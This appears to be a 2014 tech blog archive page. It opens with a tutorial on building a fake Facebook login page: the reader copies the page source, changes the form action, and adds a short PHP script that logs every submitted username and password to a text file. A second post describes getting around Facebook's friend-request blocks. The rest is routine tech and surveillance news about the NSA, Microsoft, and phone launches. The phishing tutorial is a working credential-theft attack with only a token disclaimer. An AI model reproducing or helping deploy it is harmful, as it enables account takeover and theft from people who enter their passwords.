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Monday, 31 March 2014

How To Hack Facebook By Phishing Method

Hello friends .......
Phishing is the most common acttack which is used to hack any login details.
For which we need to have phishing pages to upload then in hosting sites. So today i gonno show you the process of to creating phishing pages of any websites.
Here i will show you an example of creating Phishing page (fake loin page) of Facebook.The method is same for any other website

What we are going to do now.
Normally in phishing we will just create a login page which looks same like the real website. For this we need not to code the whole script of the desired website. We just copy the scource code of the website and just change few modifications in page source and create fake login pages.

Step by Step tutorial
1. First go to the desired website Login page for which you want to create Phishing page
  lets take
2. Right click on the website and choose "page source" . Now you can see the whole script of the website.
3. Copy the whole script and paste it into a text file. Press Cntrol+F and type " action ".
Here in the case of " ". the script line that has "action" looks something like this.
Now replace everything inside the quotes with " login.php". so it will look like

4. Save the file as index.html.
5. Now open a new text file and paste the following code
header ('Location: ');
$handle = fopen("logs_86354.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "===============\r\n");
Save it as "login.php"
That's it now we have two files "index.html" and "login.php". Those two are the Phishing pages of facebook now. If you want to create any login page the process is same.
How does the Phishing pages work.
Normaly the  websites will be coded in a such a manner that "user name", "password" ( or any login information) entered in the Input box will be directed to the database of the website for authentication. Here we just modified the "page soucrce" to get redirected to the " php file" which creates the text file which contains the login information which the victim enters in the login page.

Important points :-
1. Make sure that You find the " page source " in login page of the website. Not for any other page in the website. For example if you want to create phishing page of facebook. You should find  the login page of the website, Not on the other pages like "home" ,"profile" or any other like that.
2. Here i sugested to you to name the file php file as "login.php" . You can name it anything you wish but make sure that that file name should be same name should be there for modified code in action="login.php" and php file name.
For example:-
If you set as action="anything.php"  pHp file name should also be anything.php.

This Tutorial is for educational purpose only, I just want to make you aware about all hacking methods, So don’t misuse this hacking tricks. We are not responsible for any wrong thing done by you.

So friends, I hope you have enjoying the hacking tutorials here,, If you are facing any problem then please comment below. I am always here to help you out
will reply we with in 24 hours
You must read:

Monday, 24 March 2014



Facebook friend
request sent
when blocked Guyz.. If ur frnd requiest is
Blocked Dont Worry we are
here ... Imagine that you are
sending Friend Requests by Facebook
for 2, 4, 7, 14 or even worse 30
days! That would be a really
if you actually wanted to add someone
during that period. Now, you
can! With this simple trick you
can send
1000's of
friend requests when when you are
blocked . There's just one part
which will be tough for you if
are going to
add unknown people. You will need the
Email address of the person
you want to add.
If u r thinking of
adding too many people then
it would be better that you create a
contactfile. For the people who
know the
easiest way to create a contact
file, here it is:

1. Open a New text document
(.txt) in
2. Add all the email addresses
separated by a comma (' , '). 3. Now save that file with the
extension .vcf Now, this new
file is your
contact file.
Upload it to Facebook and you
willbe prompted to send friend
request. Click 'OK' and that's it,
you're done!

Sunday, 23 March 2014

NSA hacks into email servers of Chinese tech giant Huawei

US intelligence agencies hacked into the email servers of Chinese tech giant Huawei five years ago, around the time concerns were growing in Washington that the telecommunications equipment manufacturer was a threat to US national security, two newspapers reported Saturday.
The National Security Agency began targeting Huawei in early 2009 and quickly succeeded in gaining access to the company's client lists and email archive, German weekly Der Spiegel reported, citing secret US intelligence documents leaked by former NSA contractor Edward Snowden. The New York Times also published a report Saturday about the documents.
Huawei objects to activities that threaten network security, said William B. Plummer, the company's vice president of external affairs.

NSA hacks into email servers of Chinese tech giant Huawei: Report

The National Security Agency began targeting Huawei in early 2009 and quickly succeeded in gaining access to the company's client lists and email archive, says a report.

"Huawei has declared its willingness to work with governments, industry stakeholders and customers in an open and transparent manner, to jointly address the global challenges of network security and data integrity," Plummer said in an email. "The information presented in Der Spiegel and the New York Times article reaffirms the need for all companies to be vigilant at all times."
Among the people whose emails the NSA was able to read were Huawei president Ren Zhengfei, Der Spiegel said.
The operation, which Der Spiegel claims was coordinated with the CIA, FBI and White House officials, also netted source codes for Huawei products. One aim was to exploit the fact that Huawei equipment is widely used to route voice and data traffic around the world, according to the report. But the NSA was also concerned that the Chinese government itself might use Huawei's presence in foreign networks for espionage purposes, it said.
In response to the Der Spiegel report, NSA spokeswoman Vanee Vines said the agency doesn't comment on specific alleged activities. She reiterated the NSA's position that its activities are aimed only at "valid foreign intelligence targets in response to intelligence requirements."
"In addition, we do not use foreign intelligence capabilities to steal the trade secrets of foreign companies on behalf of - or give intelligence we collect to - US companies to enhance their international competitiveness or increase their bottom line," Vines said in a statement emailed to The Associated Press.
In 2012, the House Intelligence Committee recommended that Huawei be barred from doing business in the US, citing the threat that its equipment could enable Chinese intelligence services to tamper with American communications networks.
In January, the company rejected a previous Der Spiegel report claiming that its equipment was vulnerable to hacking. The magazine had reported that the NSA was able to install secret "back doors" in telecoms equipment made by Huawei and other companies.
Der Spiegel's latest report claims the NSA also targeted top Chinese officials, such as former President Hu Jintao, as well as ministries and banks.

Saturday, 22 March 2014

Facebook unveils new programming language, Hack

Facebook unveils new programming language, Hack
 It is called Hack but it has little to do with hacking. It is a new programming language designed by Facebook that lets programmers build complex websites and other software quickly and without many flaws.
"We can say with complete assurance that this has been as battle-tested as it can possibly be," Bryan O'Sullivan, the Facebook engineer behind the language, said in a statement.
Experts say Hack is a new version of PHP -- the language Facebook founder Mark Zuckerberg used when he started building Facebook.
Hack too runs on the Hip Hop Virtual Machine but it lets coders use both dynamic typing and static typing. For the next decade, Zuckerberg and his rapidly growing company continued to build their site with PHP.
But as a PHP site grows, you need far more computer servers to run the thing than you would with other languages and it can be difficult to manage all your code and keep it free of bugs.
Hack makes it easier to manage code and eliminate errors. It provides these benefits without slowing down the developer. Unlike other statically type languages, Hack can run without compiling.
"You edit a file and you reload a web page and you immediately get the feedback. You get both safety and speed," O'Sullivan added.

Apple might launch iTunes for Android because music downloads are down

Apple might launch iTunes for Android because music downloads are down
Apple is thinking of launching an iTunes app for Android, as well as an on-demand streaming service similar to Spotify, Billboard reports.

This is likely because downloads of music from iTunes are in decline as more and more people transitioning to streaming music services like Pandora, Spotify, Beats Music and Rdio.

Thanks to those streaming services, the music industry was able to sustain revenues of $7 billion, nearly the same as it has been since 2009, the RIAA says. It's neither growing nor shrinking at this point.

Digital downloads still brought in the most revenue to the music industry, but a 1% decline to $2.4 billion suggests that people are moving away from purchasing music and moving toward streaming services.

That's why it's no wonder Apple launched iTunes Radio, a streaming version of iTunes that competes directly with Pandora. Apple is reportedly working on a standalone app for iTunes Radio so that it can better target Pandora.

With an iTunes app for Android, Apple could even further compete with Pandora, and also potentially increase music downloads.

Microsoft charged FBI for user data: SEA

Microsoft charged FBI for user data: SEA
WASHINGTON: Hactivist group, Syrian Electronic Army (SEA), has reportedly revealed documents indicating how much software maker Microsoft was charging a secret FBI division to legally collect and view customer data.
The SEA revealed hacked emails and invoices documenting months of transactions between Microsoft's Global Criminal Compliance team and the FBI's Digital Intercept Technology Unit (DITU).
According to The Verge, it was found that every time the DITU requested customer information, Microsoft charged anywhere from $50 to $200 for the transaction.
The most recent invoice for November 2013 totaled to a whopping $281,000.
Although, none of the two parties confirmed the validity of the documents, a Microsoft spokesperson said that it was nothing unusual as under the US law, companies could seek reimbursement for costs associated with complying with valid legal orders for customer data.
The DITU allegedly requested information from Microsoft hundreds of times a month, the report added.

Friday, 21 March 2014

Microsoft admits to snooping on Hotmail to track leak

Microsoft admits to snooping on Hotmail to track leak
LOS ANGELES: Microsoft, which has skewered rival Google for going through customer emails to deliver ads, has acknowledged it had searched emails in a blogger's Hotmail account to track down who was leaking company secrets.

John Frank, deputy general counsel for Microsoft, which owns Hotmail, said in a statement on Thursday that the software company "took extraordinary actions in this case." In the future, he said, Microsoft would consult an outside attorney who is a former judge to determine if a court order would have allowed such a search.

The case involves former employee Alex Kibkalo, a Russian native who worked for Microsoft as a software architect in Lebanon.

According to an FBI complaint alleging theft of trade secrets, Microsoft found Kibkalo in September 2012 after examining the Hotmail account of the blogger with whom Kibkalo allegedly shared proprietary Microsoft code. The complaint, filed on Monday in federal court in Seattle, did not identify the blogger.

"After confirmation that the data was Microsoft's proprietary trade secret, on September 7, 2012, Microsoft's Office of Legal Compliance (OLC) approved content pulls of the blogger's Hotmail account," says the complaint by FBI agent Armando Ramirez.

The search of the email account occurred months before Microsoft provided Ramirez with the results of its internal investigation in July 2013.

The email search uncovered messages from Kibkalo to the blogger containing fixes for the Windows 8 RT operating system before they were released publicly. The complaint alleges Kibkalo also shared a software development kit that could be used by hackers to understand more about how Microsoft uses product keys to activate software.

Besides the email search, Microsoft also combed through instant messages the two exchanged that September. Microsoft also examined files in Kibkalo's cloud storage account, which until last month was called SkyDrive. Kibkalo is accused of using SkyDrive to share files with the blogger.

Kibkalo has since relocated to Russia, the FBI complaint says.

Frank said in his statement that no court order was needed to conduct the searches.

"Courts do not issue orders authorizing someone to search themselves," he said. "Even when we have probable cause, it's not feasible to ask a court to order us to search ourselves."

Hotmail's terms of service includes a section that says, "We may access or disclose information about you, including the content of your communications, in order to... protect the rights or property of Microsoft or our customers."

Redmond, Washington-based Microsoft has taken a defiant stand against intrusions of customer privacy, in the wake of National Security Agency systems analyst Edward Snowden's revelations of government snooping into online activities.

General counsel Brad Smith said in a blog post in December that Microsoft was "especially alarmed" at news reports of widespread government cyberspying.

Microsoft also has a long-running negative ad campaign called "Scroogled," in which it slams Google for scanning "every word in every email" to sell ads, saying that "Google crosses the line."

Thursday, 20 March 2014

Sony launches Xperia T2 Ultra phablet at Rs 25,990

Sony launches Xperia T2 Ultra phablet at Rs 25,990
Sony has launched its Xperia T2 Ultra in India, bringing yet another phablet to the fast saturating market. The device, which was officially unveiled in January, has been priced at Rs 25,990.

The all-new Xperia T2 Ultra has a 6-inch 720p display with 245ppi pixel density. It runs on a customized version of Android 4.3 (Jelly Bean) operating system and comes with 8GB internal storage, microSD card support up to 32GB and 1GB RAM. Sony has used the Snapdragon 400 processor in the phablet, the same chipset that powers Moto G.

Sony Xperia T2 Ultra has a 13MP camera with LED flash on the back and a 1.1MP camera in front. The connectivity suite of the device includes features like 2G, 3G, 4G, Wi-Fi, Bluetooth 4.0, microUSB 2.0 and NFC. The device runs on a 3,000mAh battery, offers dual-sim functionality and will be available in the country from March 20.

The manufacturer is preloading proprietary apps like Walkman, Album, Movies and PlayMemories online storage on the Xperia T2 Ultra.

Sony's latest smartphone will compete against the likes of Moto X, Google Nexus 4, Gionee Elife E7 and Nokia Lumia 1320 in the Indian market.

How to get best features of Windows 7 on Windows 8

How to get best features of Windows 7 on Windows 8
Microsoft made some useful improvements to Windows Explorer in Windows 8, but they also (inexplicably) took some things away. OldNewExplorer gives you the best of both worlds: use the Windows 8 features you like, and bring back the Windows 7 features you miss.

OldNewExplorer is easy to install: just extract the necessary files to a folder on your system, open up the portable preferences app, and click the Install button. This will install the necessary system files to tweak Windows Explorer. From there, you can check and uncheck the features you want, so you have the perfect Explorer for you.

With OldNewExplorer, you can ditch the ribbon, bring back the details pane at the bottom of the window, and more:

If you want to uninstall the tweak, just open up the configuration window and click the Uninstall button. Hit the link to read more and try it out.

Why I'm quitting Microsoft Office forever

So yesterday I decided to write a guide to getting started with Microsoft OneNote, which is now available free for Mac and all versions of Windows. First step, of course: download and install the OneNote client. Nothing complicated about that, right?
Wrong. The installer quit midway with a cryptic error message. Weird. Tried again: same result. Sigh. Well, no time to mess with this now, I'll come back to it later. Let me just check my email real quick and...whoa! Where's Outlook?
The icon was gone from the Windows taskbar. I clicked into the Start menu and...whoa! Where's Office? The entire suite had vanished. I clicked into Settings and found it still listed among my installed programs, so I tried the Repair option. Same error the installer threw. Reboot, Repair, again: same error. Uninstall Microsoft Office: same error. So, basically, the simple act of trying to install a Microsoft product fully and irrevocably crippled another Microsoft product.
In the end, I tracked down a Microsoft Fix-It that allowed me to uninstall Office. And you know what? I'm not reinstalling it. Not now, not ever. Because I've had it up to here with this kind of nonsense (which is way politer word than I'd be using if this wasn't a family blog).
(Credit: Microsoft)
A brief history of hating Office Earlier this week I was already feeling a bit insulted by Microsoft's introduction of Office 365 Personal, which gives you a single license (for one PC and one mobile device) for $70 -- for one year. Yep, it's a subscription option, same as the newly rechristened Office 365 Home, which costs $100 and comes with five licenses. Uh, math isn't really my strong suit, but there's something amiss with those numbers.
Full disclosure: My Office 365 installation came courtesy of Microsoft, a one-year demo license for journalists. It expires next month, so I was already planning my Office exit, so to speak. But for nearly a year I've been using Kingsoft Office Free 2013, which I consider the best Microsoft Office alternative. It's pretty, capable, and more than sufficient for my everyday-user needs (which amount to word processing, occasional spreadsheets, and once-in-a-blue-moon presentation viewing).
The alternative: pay Microsoft $70 or $100 annually for tools that are far beyond my needs -- and that apparently crash and burn when you try to add a new one.
The only reason I've continued using Office 2013 at all is Outlook, which is actually pretty nice in this version. Plus, I have a PST file containing years' worth of email. But just the other day it was producing oddball password-error messages for one of my Gmail accounts, even though I had no trouble signing into that account on the Web.

Oppo launches smartphone that takes 50MP photosOppo launches smartphone that takes 50MP photos..

Moto X vs Nexus 4, Galaxy Grand 2, other rivalsChinese smartphone maker Oppo has launched the first smartphone in the world that can capture photos with 50MP resolution.

Though the rear camera of the phone, Oppo Find 7, has resolution of 13MP only, it has a Super Zoom mode that merges 10 photos to create a single 50MP image. Nokia's Lumia 1020 smartphone has a 41MP rear camera but can take photos with maximum resolution of 38MP only.

The smartphone can also capture 4K (movie hall quality) as well as slow-motion (720p at 120fps) videos. It packs a LED flash on the back and a 5MP camera in front.

Another unique feature of Oppo Find 7 is its QHD (or 2K) display panel, offering resolution of 2560x1440p, much higher than the 1920x1080p screens of most smartphones available at present. With screen size of 5.5-inch, the Find 7 has the highest pixel density in the smartphone market with 538 pixels per inch.

Motorola’s top smartphone, Moto X, has finally made its way to India. The starting price of the model is Rs 23,999, whereas the variant with wooden-finish back panels costs Rs 25,999.

Given the specs, it seems like a good deal. But there are many other mid-range smartphones in the Indian market that can compete with Moto X. Here’s how the newly-launched Moto X fares against its top competitors in India – Google Nexus 4, Samsung Galaxy Grand 2, Sony Xperia T2 Ultra, Gionee Elife E7 and Nokia Lumia 1320.

Moto X vs Nexus 4, Galaxy Grand 2, other rivals

Moto X vs Nexus 4, Galaxy Grand 2, other rivals
Motorola’s top smartphone, Moto X, has finally made its way to India. The starting price of the model is Rs 23,999, whereas the variant with wooden-finish back panels costs Rs 25,999.

Given the specs, it seems like a good deal. But there are many other mid-range smartphones in the Indian market that can compete with Moto X. Here’s how the newly-launched Moto X fares against its top competitors in India – Google Nexus 4, Samsung Galaxy Grand 2, Sony Xperia T2 Ultra, Gionee Elife E7 and Nokia Lumia 1320.

First impressions: Samsung Galaxy Note Pro 12.2

First impressions: Samsung Galaxy Note Pro 12.2Samsung Galaxy Note Pro 12.2 tablet blurs the distinction between a laptop and a tablet computer.

Its on-screen keyboard has capabilities that are more common with laptops, and its screen is larger than what many laptops have. People can run several apps side by side, and multiple users can share the device with separate profiles.

Samsung also tries to make the Note Pro something professionals can use on the road, while leaving the laptop behind. It's packed with business tools such as a WebEx virtual conferencing app, a one-year subscription to Bloomberg Businessweek's digital magazine and one year of Wi-Fi access on airplanes through Gogo.

It's an impressive lineup of features. Unfortunately, it also has a price tag that exceeds that of many laptops - $750 for the base model with 32GB of storage and $850 for 64GB.

If your primary reason for owning a tablet is to consume content, such as video, music, books and magazines, Samsung Galaxy Note Pro 12.2 isn't for you. There are plenty of cheaper options out there.

It is for those who want to mimic a laptop experience, yet don't want to purchase - or carry - a laptop.

Its screen measures 12-2 inch, giving it about 50% more surface area than Apple's 9.7-inch iPad Air. The Note Pro is also larger than another tablet billed as a laptop replacement, Microsoft's 10.6-inch Surface Pro 2. It's also cheaper; the Surface Pro 2 costs $899.

All New HTC One specs ‘confirmed’

All New HTC One specs ‘confirmed’
Just days ahead of its official launch, hardware specifications and images of HTC's flagship phone, All New HTC One, have leaked online. This time, the source of the leak is not an anonymous tipsters but a certification agency.

According to a device certification database present on the website of Chinese wireless authority, TENAA, HTC's next-generation smartphone will sport a 5-inch 1080p display. Powered by 2.26GHz Qualcomm Snapdragon 801 processor, the phone will have 2GB RAM, and will come in 16GB and 32GB internal storage variants. The phone will offer support for external storage via a microSD card slot. The phone will measure 146 x 70.5 x 9.5mm and weigh 157gram as per the agency. It will run Android 4.4.2 KitKat.

Google working on 8.9-inch Nexus tablet: Reports

NEW DELHI: Google is reportedly working on an 8.9-inch tablet that will hit the market late this year.

Market research firm IHS Technology has told technology website CNET that Google is working on a "high-performance" tablet with an 8.9-inch display. The internet search giant sells its smartphones and tablets under the Nexus brand.

Rhoda Alexander, director of tablet and monitor research, HIS Technology told CNET that it will be a "lower volume product and carry a premium price tag." The device may cost over $299, according to Alexander.

She also says that the device will go into mass production in July or August this year, suggesting that it will be launched in the fourth quarter of 2014. Google has tapped HTC to manufacture the Nexus 8.9 tablet.

Chinese technology website Digitimes has also said that Google is readying an 8.9-inch tablet that will go into production in July this year. According to the report, this tablet will have "display resolution of more than 2K (2560x1440p)." The current Google tablet, Nexus 7 (2014 model) has display resolution of 1920x1080p.

Facebook Disputes Claims That They Were Aware Of NSA Data Collection Outside Of FISA Orders

The Guardian newspaper made headlines yesterday for a story claiming the tech companies were not entirely truthful about their knowledge of National Security Agency spying. News outlets quickly picked up the accusations from NSA General Counsel Rajesh De that tech companies had “full knowledge” of the controversial surveillance of their users.
From the beginning of the NSA scandal last summer, tech companies have furiously denied that the NSA had direct access to their data. They have also denied knowing anything about the program that apparently allows the NSA to forcibly demand user data, known as PRISM. Moreover, they have publicly lobbied the U.S. Government to permit them to disclose the number of users that have been surveilled by the NSA, authorized by the Foreign Intelligence Surveillance Court (FISC).
Companies suing the government for the ability to be more transparent eventually won that case, and have since disclosed — within still harsh restrictive bounds — more information on government data requests.
Thus, Facebook quickly denied the new accusations. In a statement, the company told TechCrunch:
“Before it was reported in the news, we had never heard of ‘PRISM’ or any program in which Internet companies, voluntarily or otherwise, gave the government direct access to servers or in any way facilitated the bulk collection of user data. At the same time, we never suggested that we were not aware of our obligations under FISA, which was the topic of today’s hearing. In fact, we have been fighting for more transparency around the lawful national security-related requests from the U.S. Government that we may receive under this statute. The suggestion that we were misleading the public is frustrating and untrue.”
Soon after we received this statement, The Guardian issued a major “amendment” to their story.
“This article was amended on 20 March 2014 to remove statements in the original that the testimony by Rajesh De contradicted denials by technology companies about their knowledge of NSA data collection. It was also updated to clarify that the companies challenged the secrecy surrounding Section 702 orders. Other minor clarifications were also made.”
Section 702 refers to a law that permits some of the more controversial intelligence agency surveillance programs [PDF].
When asked whether The Guardian still stands by their original interpretation of the story, spokesman Gennady Kolker wrote back, “The article was amended to clarify and correct our reporting, in line with the Guardian’s policy and practices.”
In the original piece, The Guardian wrote the following:
The senior lawyer for the National Security Agency stated unequivocally on Wednesday that US technology companies were fully aware of the surveillance agency’s widespread collection of data, contradicting month of angry denials from the firms.

The NSA’s Wednesday comments contradicting the tech companies about the firms’ knowledge of Prism risk entrenching tensions with the firms NSA relies on for an effort that Robert Litt, general counsel for the director of national intelligence, told the board was “one of the most valuable collection tools that we have.
Now the passages read as follows:
The senior lawyer for the National Security Agency stated on Wednesday that US technology companies were fully aware of the surveillance agency’s widespread collection of data.

De and his administration colleagues were quick to answer the board that companies were aware of the government’s collection of data under 702, which Robert Litt, general counsel for the director of national intelligence, told the board was “one of the most valuable collection tools that we have.

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